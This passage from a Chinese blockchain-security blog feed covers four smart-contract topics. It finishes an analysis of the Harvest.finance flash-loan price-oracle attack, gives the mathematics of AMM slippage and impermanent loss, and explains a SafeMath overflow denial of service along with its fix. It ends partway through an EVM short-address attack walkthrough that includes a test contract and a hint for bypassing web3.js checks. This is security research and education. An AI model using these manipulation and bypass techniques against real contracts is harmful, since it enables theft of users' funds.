的量</p><p>来到稳定币策略合约<code>0xD55a</code>，<code>investedUnderlyingBalance</code>函数实现如下：</p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/func-0xd55a-investedUnderlyingBalance.png" alt></p><p>这里的调用就稍微复杂一点了，从ycrvVault合约<code>0xF2B2</code>获取<code>shares</code>与<code>price</code>，将乘积传入<code>underlyingValueFromYCrv</code>函数，结果与该合约 USDC 的量的和作为最后的函数返回值</p><p>我们先来看 ycrvVault 合约<code>0xF2B2</code></p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/func-0xf2b2-constructor.png" alt></p><p>该金库合约<code>0xf2b2</code>本身继承了ERC20，具有代币属性，从构造函数中可以看出代币代表 fyToken</p><p>也就是说上面获取的<code>shares</code>即是策略合约拥有的 fyToken 量</p><p>然后是<code>price</code>，来看<code>getPricePerFullShare</code>函数：</p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/func-0xf2b2-getPricePerFullShare.png" alt></p><p>可以明显看出<code>price</code>即是yToken对fyToken的占比，那么<code>shares</code>与<code>price</code>的乘积即代表策略合约所占有的 yToken 量，最后传入<code>underlyingValueFromYCrv</code>函数，在该函数中会调用<code>convertor.yCrvToUnderlying</code></p><p>这里就到了整个过程中最关键的地方了，也是问题的根本所在</p><p>convertor 合约<code>0xfCA4</code>并未开源</p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/addr-0xfca4.png" alt></p><p>我们再次回到以太坊交易分析平台，查看整个<code>deposit</code>调用过程</p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/flow-deposit.png" alt></p><p>可以看到前面的调用流程分析如实，并且 convetor 的调用最终会调用 Curve 的<code>Zap.calc_withdraw_one_coin</code>，而该函数用于查询 lpToken 的赎回价</p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/func-calc_withdraw_one_coin.png" alt></p><p>问题就在这里了，这里相当于就是向 Curve 问价，而调用传入的是 yToken 的量，那么返回的就是 yUSDC 兑换 USDC 的价格，即USDC/yUSDC</p><p><strong>而当前面巨额兑换USDC后，y池中 USDC 价格上涨，那么相对价格 USDC/yUSDC 就会下跌。Harvest.finance的 USDC 策略中 yUSDC 资产所具有的 USDC 净值经<code>calc_withdraw_one_coin</code>计算而来就损耗减少，最终反映到<code>deposit</code>函数的 fUSDC 铸造算法中，将导致 fUSDC 铸造量增加</strong></p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/balance-down.png" alt></p><h2 id="总结与思考"><a href="#总结与思考" class="headerlink" title="总结与思考"></a>总结与思考</h2><p>归根到底，Harvest.finance被攻击的本质原因在于对策略稳定币价值的估价出现了问题，直接调用易被操纵价格的 Curve 的<code>calc_withdraw_one_coin</code>函数来估价，从而使攻击者有机可乘</p><p>这就是一次典型的喂价机制不完善导致的价格操纵的经济攻击事件</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;2020年10月16日，DeFi项目Harvest.finance遭受黑客攻击，黑客利用闪电贷，套利2400万美元，涉及金额巨大，轰动一时&lt;
      
    
    </summary>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/categories/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
      <category term="闪电贷" scheme="https://blog.0xhunya.com/tags/%E9%97%AA%E7%94%B5%E8%B4%B7/"/>
    
  </entry>
  
  <entry>
    <title>恒定乘积做市商模型的滑点与无常损失的简单数学分析</title>
    <link href="https://blog.0xhunya.com/2021/03/22/%E6%81%92%E5%AE%9A%E4%B9%98%E7%A7%AF%E5%81%9A%E5%B8%82%E5%95%86%E6%A8%A1%E5%9E%8B%E7%9A%84%E6%BB%91%E7%82%B9%E4%B8%8E%E6%97%A0%E5%B8%B8%E6%8D%9F%E5%A4%B1%E7%9A%84%E7%AE%80%E5%8D%95%E6%95%B0%E5%AD%A6%E5%88%86%E6%9E%90/"/>
    <id>https://blog.0xhunya.com/2021/03/22/恒定乘积做市商模型的滑点与无常损失的简单数学分析/</id>
    <published>2021-03-22T09:05:00.000Z</published>
    <updated>2023-05-25T13:22:03.308Z</updated>
    
    <content type="html"><![CDATA[<h2 id="恒定乘积做市商模型"><a href="#恒定乘积做市商模型" class="headerlink" title="恒定乘积做市商模型"></a>恒定乘积做市商模型</h2><p>恒定乘积做市商模型，由Uniswap率先实现并推广，以恒定乘积公式$xy=k$为基础，使交易对的两种资产数量乘积恒定不变来推进市场交易。虽然Uniswap在DeFi领域开创了新的突破，成为了DEX领域的龙头，但恒定乘积做市商模型存在的滑点与无常损失仍饱受诟病。</p><p>下面通过简单的数学分析来理解该模型的滑点和无常损失的原理和过程</p><h2 id="滑点"><a href="#滑点" class="headerlink" title="滑点"></a>滑点</h2><p>什么是滑点，滑点一般指预设成交价位与真实成交价位的偏差。恒定乘积AMM中同样存在滑点，一旦发生交易，池中资产的储备发生变化，资产实际的交易执行价就会发生变化，产生滑点。交易额越大，滑点越大，交易者的损失就越大。</p><h3 id="公式分析"><a href="#公式分析" class="headerlink" title="公式分析"></a>公式分析</h3><p>根据恒定乘积，当用$dx$个x兑换$dy$个y时（忽略手续费），有：</p><script type="math/tex; mode=display">\begin{cases}xy = k \\(x + dx)(y - dy) = k\end{cases}</script><p>可得，兑换量：</p><script type="math/tex; mode=display">dy = \frac{y · dx}{x + dx} \tag{1}</script><p>则在实际兑换中，y相对x的单价为：</p><script type="math/tex; mode=display">dx / dy = \frac{x + dx}{y}</script><p>而兑换前，池中的y单价为$x / y$，那么y单价的滑点就产生了：</p><script type="math/tex; mode=display">Slippage_{yPrice} = dx / dy - x / y = \frac{dx}{y}</script><p>交易量$dx$越大，产生的滑点就越大，偏离实际价位就越大，而池中的资金储备越多、交易深度越大，则能尽量减少滑点的溢价，使用户的交易损耗降低</p><h3 id="实际计算"><a href="#实际计算" class="headerlink" title="实际计算"></a>实际计算</h3><p>Uniswap在实际计算交易滑点时，是通过百分比来显示的：</p><p><img src="/2021/03/22/恒定乘积做市商模型的滑点与无常损失的简单数学分析/priceimpact.png" alt></p><p>Uniswap源码中对滑点的计算是在<code>uniswap-v2-sdk/src/entities/trade.ts</code>文件中的<code>computePriceImpact</code>函数中实现的</p><pre><code class="lang-typescript">/** * Returns the percent difference between the mid price and the execution price, i.e. price impact. * @param midPrice mid price before the trade * @param inputAmount the input amount of the trade * @param outputAmount the output amount of the trade */function computePriceImpact(midPrice: Price, inputAmount: CurrencyAmount, outputAmount: CurrencyAmount): Percent {  const exactQuote = midPrice.raw.multiply(inputAmount.raw)  // calculate slippage := (exactQuote - outputAmount) / exactQuote  const slippage = exactQuote.subtract(outputAmount.raw).divide(exactQuote)  return new Percent(slippage.numerator, slippage.denominator)}</code></pre><p>按照函数中的逻辑，滑点百分比计算公式如下：</p><script type="math/tex; mode=display">PriceImpact = \frac{midPrice · dx - dy}{midPrice ·dx} \tag{2}</script><p>这里的$midPrice$从代码上看不出是x对y的价格还是y对x的价格，但按照公式的计算逻辑，当$midPrice$代表x对y的价格时，$midPrice · dx$就代表理论应得y的数量，那么这个公式就是按照<em>滑点差值/理论应得量​</em>的方式计算的</p><p>为验证这一点，来到Uniswap界面断点调试，以ETH兑换AAVE为例</p><p><img src="/2021/03/22/恒定乘积做市商模型的滑点与无常损失的简单数学分析/js-debug.png" alt></p><p>可以看到$midPrice$实际采用的确实就是前面猜测的x对y的价格，并且是不同于界面中Price所显示实际兑换价的理论价</p><p>那么化简公式（2）：</p><script type="math/tex; mode=display">PriceImpact = \frac{y/x · dx - dy}{y/x · dx} = 1 - \frac{dy·x}{y·dx}</script><p>将前面推导的公式（1），带入上式可得：</p><script type="math/tex; mode=display">PriceImpact = \frac{dx}{x+dx} \tag{3}</script><p>那么滑点百分比即是<strong>兑换量占用于兑换的资产储备量的百分比</strong></p><p>当然，这里总结出的滑点计算还只是通过AMM机制所算出的理论滑点，实际上滑点还会受很多因素影响，比如网络延时、区块确认等等</p><h2 id="无常损失"><a href="#无常损失" class="headerlink" title="无常损失"></a>无常损失</h2><p>什么是无常损失，当资产价格剧烈波动时，持有的资产净值损耗减少，就会产生暂时性的账面损失。但如果将资产投入流动性资金池提供流动性，由于AMM的机制，价格与外部市场脱离，并不会自动调整价格，而需要依靠套利者买卖资产来使其达到与外部市场价格的平衡，造成越涨越卖、越跌越买的情况，所以这种套利行为的存在，通常将会使无常损失变成永久性损失。</p><h3 id="数值分析"><a href="#数值分析" class="headerlink" title="数值分析"></a>数值分析</h3><p>假设现有一恒定乘积做市的DEX，交易对$ETH/DAI$，流动性为$10:400$，则当前k=4000，ETH价格为$40DAI/ETH$</p><p>若一流动性供应商，已投入2ETH和80DAI，则流动性占比为20%</p><p>当ETH突然上涨，价格到达$60DAI/ETH$，此时就会有套利者在该DEX用DAI兑换ETH来套利</p><p>设共用$dy$个DAI兑换$dx$个ETH后，AMM池中$ETH:DAI$价格达到与外部平衡的$1:60$</p><p>则有：</p><script type="math/tex; mode=display">\begin{cases}(10 - dx) / (400 + dy) = 1 / 60 \\(10 - dx) \times (400 + dy) = 4000\end{cases}</script><p>解得：</p><script type="math/tex; mode=display">\begin{cases}dx \approx 1.84 \\dy \approx 89.6\end{cases}</script><p>即用89.6DAI兑换1.84ETH进行套利后，池中$ETH:DAI=8.16:489.6 \approx 1:60$</p><p>套利价为$dy/dx \approx 47.41 DAI/ETH$，相比池中价略高，存在滑点；相比池外价略低，即是套利空间</p><p>根据之前提供的流动性占比20%，则现在该流动性供应商在池中持有的资产变为$ETH:DAI=1.632:97.92$</p><p>相比套利前，相当于$-0.368ETH,+17.92DAI$，而ETH按现价$60DAI/ETH$来算，有$-0.368ETH=-22.08DAI$，与$+17.92DAI$不平衡，这就产生了无常损失</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Uniswap的恒定乘积AMM机制简洁、优雅，但同样也有着滑点、无常损失的不足</p><p>本质上来说，滑点保护了流动性供应商的利益而损害交易者的体验，而无常损失则是保护了交易体验而损害流动性供应商的利益</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;恒定乘积做市商模型&quot;&gt;&lt;a href=&quot;#恒定乘积做市商模型&quot; class=&quot;headerlink&quot; title=&quot;恒定乘积做市商模型&quot;&gt;&lt;/a&gt;恒定乘积做市商模型&lt;/h2&gt;&lt;p&gt;恒定乘积做市商模型，由Uniswap率先实现并推广，以恒定乘积公式$xy=k$为基础
      
    
    </summary>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/categories/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
      <category term="DeFi" scheme="https://blog.0xhunya.com/tags/DeFi/"/>
    
  </entry>
  
  <entry>
    <title>SafeMath溢出校验导致的拒绝服务</title>
    <link href="https://blog.0xhunya.com/2021/01/11/SafeMath%E6%BA%A2%E5%87%BA%E6%A0%A1%E9%AA%8C%E5%AF%BC%E8%87%B4%E7%9A%84%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1/"/>
    <id>https://blog.0xhunya.com/2021/01/11/SafeMath溢出校验导致的拒绝服务/</id>
    <published>2021-01-11T05:18:38.000Z</published>
    <updated>2021-01-13T08:41:58.783Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>9号晚上突然接到消息，客户的合约出现问题，代币卡死在合约中，无法取出，据称是在第28天出现溢出问题卡死</p><p>分析处理后，通过这件事学到挺多，便记录一下</p><h2 id="问题代码"><a href="#问题代码" class="headerlink" title="问题代码"></a>问题代码</h2><p>问题主要代码在<code>update_initreward</code>函数中</p><pre><code class="lang-solidity">uint256 DURATION = 1 days;int128 dayNums = 0;uint256 public base_ = 20*10e3;uint256 public rate_forReward = 1;uint256 public base_Rate_Reward = 100;......function update_initreward() private {    dayNums = dayNums + 1;    uint256 thisreward = base_.mul(rate_forReward).mul(10**18).mul((base_Rate_Reward.sub(rate_forReward))**(uint256(dayNums-1))).div(base_Rate_Reward**(uint256(dayNums)));    _initReward = uint256(thisreward);}</code></pre><p><code>thisreward</code>的计算公式整理如下：</p><script type="math/tex; mode=display">thisreward = \frac{base\_ \times rate\_forReward \times 10^{18} \times (base\_Rate\_Reward - rate\_forReward)^{dayNums-1}}{base\_Rate\_Reward^{dayNums}} \tag{1}</script><p>其中</p><script type="math/tex; mode=display">base\_ = 20 \times 10^4 \\rate\_forReward = 1 \\base\_Rate\_Reward = 100</script><p>代入公式(1)化简可得：</p><script type="math/tex; mode=display">thisreward = \frac{2 \times 10^{23} \times 99^{dayNums-1}}{100^{dayNums}} \tag{2}</script><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>可以看到公式中存在$99^{dayNums-1}$和$100^{dayNums}$，数值大小是呈指数级增长的，这是个非常恐怖的数量级</p><p>当<code>dayNums</code>到40时，$99^{dayNums-1}$整体将大于$2^{256}$即uint256的大小，造成数值溢出</p><p><img src="/2021/01/11/SafeMath溢出校验导致的拒绝服务/dayNums-40.png" alt></p><p>$99^{dayNums-1}$还只是公式中的一个小因子，在分子中，前面同样还有$2 \times 10^{23}$这样一个大因子</p><p>计算分子整体的溢出情况，可以发现分子的算式在<code>dayNums</code>到28的时候就已经发生溢出了</p><p><img src="/2021/01/11/SafeMath溢出校验导致的拒绝服务/dayNums-28.png" alt></p><p>正好和客户目前的情况一致，在第28天的时候合约功能出现问题</p><p>虽然公式中已经使用了SafeMath安全算法，但由于SafeMath安全算法中存在<code>require</code>的溢出校验语句，而导致整个调用失败而回滚，最终表现为拒绝服务</p><p>该函数在合约启动后仅由修饰器<code>checkHalve</code>调用，而<code>checkHalve</code>修饰了很多函数，其中包括取款函数，于是导致了用户不能提取合约中质押的代币，合约大半个功能瘫痪，无法运作</p><p><img src="/2021/01/11/SafeMath溢出校验导致的拒绝服务/dos.png" alt></p><h2 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h2><p>问题的本质是算式分子计算过程中产生的数值过大导致溢出，进而触发SafeMath的溢出校验而回滚，造成了拒绝服务的危害</p><p>那么修复自然是围绕公式做思考，通过上面的分析可以清楚这么几点：</p><p>一是公式的计算目的是按天数逐渐累乘计算出奖励数额，这是一个规律性渐进的特点；</p><p>其二，进一步化简整理公式(2)，可得：</p><script type="math/tex; mode=display">thisreward = \frac{2 \times 10^{23}}{99} \times (\frac{99}{100})^{dayNums} = 2 \times 10^{21} \times (\frac{99}{100})^{dayNums-1} \tag{3}</script><p>从公式(3)中可以看出，这个公式实际上就是在$2 \times 10^{21}$的基础上逐天取99%，而$2 \times 10^{21}$并未超过uint256的大小，所以公式的计算结果必定是逐渐变小的，并不会产生溢出</p><p>从公式的计算角度来看，<code>thisreward</code>的计算结果是并不大的，而计算过程的中间值过大，产生了溢出</p><p>从公式的算法逻辑来看，问题代码对于<code>thisreward</code>的计算是直接使用天数从0累乘到当前天数来获取结果，简单粗暴，计算数值庞大</p><p>那么修复思路就很清晰了，<strong>拆分累乘</strong></p><p>初始化定好第一次的<code>thisreward</code>数值，后面的每一次调用仅在上一次的<code>thisreward</code>的数值基础上乘以99%就行</p><p>所以需要多定义一个变量用于每次存储上一次的<code>thisreward</code>的值</p><p>修改后的新函数示例如下：</p><pre><code>uint256 DURATION = 1 days;int128 dayNums = 0;uint256 public base_ = 20*10e3;uint256 public rate_forReward = 1;uint256 public base_Rate_Reward = 100;//knownsec// lastReward用于存储上一次的thisrewrad的值uint256 lastReward = base_.mul(rate_forReward).mul(10**18).div(base_Rate_Reward);......//knownsec// 原函数,存在拒绝服务风险function update_initreward_old() private {    dayNums = dayNums + 1;    uint256 thisreward = base_.mul(rate_forReward).mul(10**18).mul((base_Rate_Reward.sub(rate_forReward))**(uint256(dayNums-1))).div(base_Rate_Reward**(uint256(dayNums)));    _initReward = uint256(thisreward);}//knownsec// 新函数function update_initreward() private {    dayNums = dayNums +1;    if (dayNums == 1){        return lastReward;    } else {        uint256 thisreward = lastReward.mul(base_Rate_Reward.sub(rate_forReward)).div(base_Rate_Reward);        lastReward = thisreward;        return thisreward;    }}</code></pre><p>经测试，不再存在风险，并且数额匹配（存在少量精度丢失）</p><p><img src="/2021/01/11/SafeMath溢出校验导致的拒绝服务/safe-code.png" alt></p><p><img src="/2021/01/11/SafeMath溢出校验导致的拒绝服务/calc-result.png" alt></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>通过这件事学到了很多，在涉及运算的地方并不是用了SafeMath的安全算法就一定是安全的了，由于SafeMath安全算法内部的<code>require</code>溢出校验语句，视具体场景是可能存在拒绝服务风险的</p><p>唉，智能合约太难了，千里之堤毁于蚁穴，稍有一点细节没做好可能都会导致很严重的漏洞</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;9号晚上突然接到消息，客户的合约出现问题，代币卡死在合约中，无法取出，据称是在第28天出现溢出问题卡死&lt;/p&gt;
&lt;p&gt;分析处理后，通过这件事
      
    
    </summary>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/categories/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
      <category term="溢出" scheme="https://blog.0xhunya.com/tags/%E6%BA%A2%E5%87%BA/"/>
    
      <category term="拒绝服务" scheme="https://blog.0xhunya.com/tags/%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1/"/>
    
  </entry>
  
  <entry>
    <title>以太坊源码学习-EVM与短地址攻击</title>
    <link href="https://blog.0xhunya.com/2020/08/17/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0-EVM%E4%B8%8E%E7%9F%AD%E5%9C%B0%E5%9D%80%E6%94%BB%E5%87%BB/"/>
    <id>https://blog.0xhunya.com/2020/08/17/以太坊源码学习-EVM与短地址攻击/</id>
    <published>2020-08-17T06:26:11.000Z</published>
    <updated>2025-12-22T09:59:29.454Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>工作开始转向区块链安全研究，打算好好学习一下以太坊</p><p>正好宇哥让写篇短地址攻击的文章，借此按短地址攻击的线索读了下EVM的源码，收获挺多</p><p><br></p><p>PS：这篇博客快要写完的时候差点误删了…还好点清空废纸篓前抬了一手意识到有点不对劲…</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><h3 id="EVM"><a href="#EVM" class="headerlink" title="EVM"></a>EVM</h3><p>EVM（Ethereum Virtual Machine），以太坊虚拟机的简称，是以太坊的核心之一。智能合约的创建和执行都由EVM来完成，简单来说，EVM是一个状态执行的机器，输入是solidity编译后的二进制指令和节点的状态数据，输出是节点状态的改变</p><h3 id="短地址攻击"><a href="#短地址攻击" class="headerlink" title="短地址攻击"></a>短地址攻击</h3><p>以太坊短地址攻击，是由于底层EVM的设计缺陷导致的漏洞</p><p>ERC20代币标准定义的<code>transfer</code>函数如下：</p><p><code>function transfer(address to, uint256 value) public returns (bool success)</code></p><p>如果传入的<code>to</code>是末端缺省的短地址，EVM会将后面字节补足地址，而最后的<code>value</code>值不足则用0填充，导致实际转出的代币数值倍增</p><h2 id="EVM源码分析"><a href="#EVM源码分析" class="headerlink" title="EVM源码分析"></a>EVM源码分析</h2><h3 id="evm-go"><a href="#evm-go" class="headerlink" title="evm.go"></a>evm.go</h3><p>EVM的源码位于<code>go-ethereum/core/vm/</code>目录下，在<code>evm.go</code>中定义了EVM结构体，并实现了<code>EVM.Call</code>、<code>EVM.CallCode</code>、<code>EVM.DelegateCall</code>、<code>EVM.StaticCall</code>四种方法来调用智能合约，<code>EVM.Call</code>实现了基本的合约调用的功能，后面三种方法与<code>EVM.Call</code>略有区别，但最终都调用<code>run</code>函数来解析执行智能合约</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-evm-call.png" alt></p><p><code>run</code>函数前半段是判断是否是以太坊内置预编译的特殊合约，有单独的运行方式</p><p>后半段则是对于一般的合约调用解释器<code>interpreter</code>去执行调用</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-run.png" alt></p><h3 id="interpreter-go"><a href="#interpreter-go" class="headerlink" title="interpreter.go"></a>interpreter.go</h3><p>解释器相关代码在<code>interpreter.go</code>中，<code>interpreter</code>是一个接口，目前仅有<code>EVMInterpreter</code>这一个具体实现</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-interpreter.png" alt></p><p>合约经由<code>EVM.Call</code>调用<code>Interpreter.Run</code>来到<code>EVMInpreter.Run</code></p><p><code>EVMInterpreter</code>的<code>Run</code>方法代码较长，缩略代码如下：</p><pre><code class="lang-go">func (in *EVMInterpreter) Run(contract *Contract, input []byte, readOnly bool) (ret []byte, err error) {  if in.intPool == nil {...} //创建intPool用于分配big.Int，减少频繁创建销毁big.Int的开销  //evm.depth用于记录合约的递归层数  in.evm.depth++  defer func() { in.evm.depth-- }()  //确保仅在尚未设置readOnly的情况下设置为readOnly  if readOnly &amp;&amp; !in.readOnly {...}  in.returnData = nil  if len(contract.Code) == 0 {return nil,nil}  var (        op OpCode          //操作码指令        mem = NewMemory()  //内存        stack = newstack() //栈        pc = uint64(0)     //程序计数器,program counter        ...        res []byte         //指令执行结果  )  contract.Input = input//input调用参数传入contract.Input  defer func() { in.intPool.put(stack.data...) }()  if in.cfg.Debug {...} //debug模式下跟踪捕获状态和错误  //主循环  for atomic.LoadInt32(&amp;in.evm.abort) == 0 {    ... //循环解析执行合约的字节码  }  return nil, nil}</code></pre><p><code>EVMInterpreter.Run</code>方法中处理执行合约字节码的主循环如下：</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-interpreter-run-loop.png" alt></p><p>大部分代码主要是检查准备运行环境，执行合约字节码的核心代码主要是以下3行</p><pre><code class="lang-go">op = contract.GetOp(pc)operation := in.cfg.JumpTable[op]......res, err = operation.execute(&amp;pc, in, contract, mem, stack)......</code></pre><p><code>interpreter</code>的主要工作实际上只是通过<code>JumpTable</code>查找指令，起到一个翻译解析的作用</p><p>最终的执行是通过调用<code>operation</code>对象的<code>execute</code>方法</p><h3 id="jump-table-go"><a href="#jump-table-go" class="headerlink" title="jump_table.go"></a>jump_table.go</h3><p><code>operation</code>的定义位于<code>jump_table.go</code>中</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-operation.png" alt></p><p><code>jump_table.go</code>中还定义了<code>JumpTable</code>和多种不同的指令集</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-jumptable.png" alt></p><p>在<code>interpreter.go</code>创建解释器的<code>NewEVMInterpreter</code>函数中，会根据以太坊版本选择相应的指令集</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-newevminterpreter.png" alt></p><p>在基本指令集中有三个处理<code>input</code>的指令，分别是<code>CALLDATALOAD</code>、<code>CALLDATASIZE</code>和<code>CALLDATACOPY</code></p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-jumptable-calldata.png" alt></p><p><code>jump_table.go</code>中的代码同样只是起到解析的功能，提供了指令的查找，定义了每个指令具体的执行函数</p><h3 id="instructions-go"><a href="#instructions-go" class="headerlink" title="instructions.go"></a>instructions.go</h3><p><code>instructions.go</code>中是所有指令的具体实现，上述三个函数的具体实现如下：</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-opCallData.png" alt></p><p>这三个函数的作用分别是从<code>input</code>加载参数入栈、获取<code>input</code>大小、复制<code>input</code>中的参数到内存</p><p>我们重点关注<code>opCallDataLoad</code>函数是如何处理<code>input</code>中的参数入栈的</p><p><code>opCallDataLoad</code>函数调用<code>getDataBig</code>函数，传入<code>contract.Input</code>、<code>stack.pop()</code>和<code>big32</code>，将结果转为<code>big.Int</code>入栈</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/func-getdatabig.png" alt></p><p><code>getDataBig</code>函数以<code>stack.pop()</code>栈顶元素作为起始索引，截取<code>input</code>中<code>big32</code>大小的数据，然后传入<code>common.RightPadBytes</code>处理并返回</p><p>其中涉及到的另外两个函数<code>math.BigMin</code>和<code>common.RightPadBytes</code>如下：</p><pre><code class="lang-go">//file: go-thereum/common/math/big.gofunc BigMin(x, y *big.Int) *big.Int {    if x.Cmp(y) &gt; 0 {        return y    }    return x}//file: go-ethereum/common/bytes.gofunc RightPadBytes(slice []byte, l int) []byte {    if l &lt;= len(slice) {        return slice    }    //右填充0x00至l位    padded := make([]byte, l)    copy(padded, slice)    return padded}</code></pre><p>分析到这里，基本上已经能很明显看到问题所在了</p><p><code>RightPadBytes</code>函数会将传入的字节切片右填充至<code>l</code>位长度，而<code>l</code>是被传入的<code>big32</code>，即32位长度</p><p>所以在短地址攻击中，调用的<code>transfer(address to, uint256 value)</code>函数，如果<code>to</code>是低位缺省的地址，由于EVM在处理时是固定截取32位长度的，所以会将<code>value</code>数值高位补的0算进<code>to</code>的末端，而在截取<code>value</code>时由于位数不够32位，则右填充<code>0x00</code>至32位，最终导致转账的<code>value</code>指数级增大</p><h2 id="测试与复现"><a href="#测试与复现" class="headerlink" title="测试与复现"></a>测试与复现</h2><p>编写一个简单的合约来测试</p><pre><code>pragma solidity ^0.5.0;contract Test {    uint256 internal _totalSupply;    mapping(address =&gt; uint256) internal _balances;    event Transfer(address indexed from, address indexed to, uint256 value);    constructor() public {        _totalSupply = 1 * 10 ** 18;        _balances[msg.sender] = _totalSupply;    }    function totalSupply() external view returns (uint256) {        return _totalSupply;    }    function balanceOf(address account) external view returns (uint256) {        return _balances[account];    }    function transfer(address to,uint256 value) public returns (bool) {        require(to != address(0));        require(_balances[msg.sender] &gt;= value);        require(_balances[to] + value &gt;= _balances[to]);        _balances[msg.sender] -= value;        _balances[to] += value;        emit Transfer(msg.sender, to, value);    }}</code></pre><p>remix部署，调用<code>transfer</code>发起正常的转账</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/remix-transfer.png" alt></p><p><code>input</code>为<code>0xa9059cbb00000000000000000000000071430fd8c82cc7b991a8455fc6ea5b37a06d393f0000000000000000000000000000000000000000000000000000000000000001</code></p><p>直接尝试短地址攻击，删去转账地址的后两位，会发现并不能通过，remix会直接报错</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/remix-error.png" alt></p><p>这是因为<code>web3.js</code>做了校验，<code>web3.js</code>是用户与以太坊节点交互的媒介</p><h3 id="源码复现"><a href="#源码复现" class="headerlink" title="源码复现"></a>源码复现</h3><p>调试前面的正常调用，可以看到栈中已经压入了<code>to</code>和<code>value</code>两个参数</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/remix-debug.png" alt></p><p>我们回退到压入第一个参数<code>to</code>的时候</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/stack-to.png" alt></p><p><code>CALLDATALOAD</code>取栈顶<code>0x04</code>为起始索引截取<code>input</code>32字节数据<code>0x00000000000000000000000071430fd8c82cc7b991a8455fc6ea5b37a06d393f</code>，即为参数<code>to</code></p><p>在取第二个参数时，先将栈顶下一位的<code>0x04</code>置于栈顶，压入<code>0x20</code>（即十进制32），执行与运算<code>ADD</code></p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/stack-push20.png" alt></p><p>调整栈数据顺序后，以栈顶<code>0x24</code>为起始索引截取<code>input</code>32字节数据<code>0x0000000000000000000000000000000000000000000000000000000000000001</code>，即为参数<code>value</code></p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/stack-value.png" alt></p><p>至此，函数参数入栈流程已经清晰，通过源码函数复现如下：</p><p><img src="/2020/08/17/以太坊源码学习-EVM与短地址攻击/shortAddr-attack-demo.png" alt></p><h3 id="实际复现"><a href="#实际复现" class="headerlink" title="实际复现"></a>实际复现</h3><p>至于如何完成实际攻击，可以参考文末的链接[1]，利用<code>web3.eth.sendSignedTransaction</code>绕过限制</p><p>实际上，<code>web3.js</code>做的校验仅限于显式传入转账地址的函数，如<code>web3.eth.sendTransaction</code>这种，像<code>web3.eth.sendSignedTransaction</code>、<code>web3.eth.sendRawTransaction</code>这种传入的参数是序列化后的数据的就校验不了，是可以完成短地址攻击的，感兴趣的可以自己尝试，这里就不多写了</p><p><br></p><p>PS：文中分析的<code>go-ethereum</code>源码版本是<code>commit-fdff182</code>，源码与最新版有些出入，但最新版的也未修复这种缺陷（可能官方不认为这是缺陷?），分析思路依然可以沿用</p><h2 id="web3-js的校验"><a href="#web3-js的校验" class="headerlink" title="web3.js的校验"></a>web3.js的校验</h2><p>分析了下<code>web3.js</code>，更新这一小节来说明一下<code>web3.js</code>中相关的校验</p><h4 id="简介-1"><a href="#简介-1" class="headerlink" 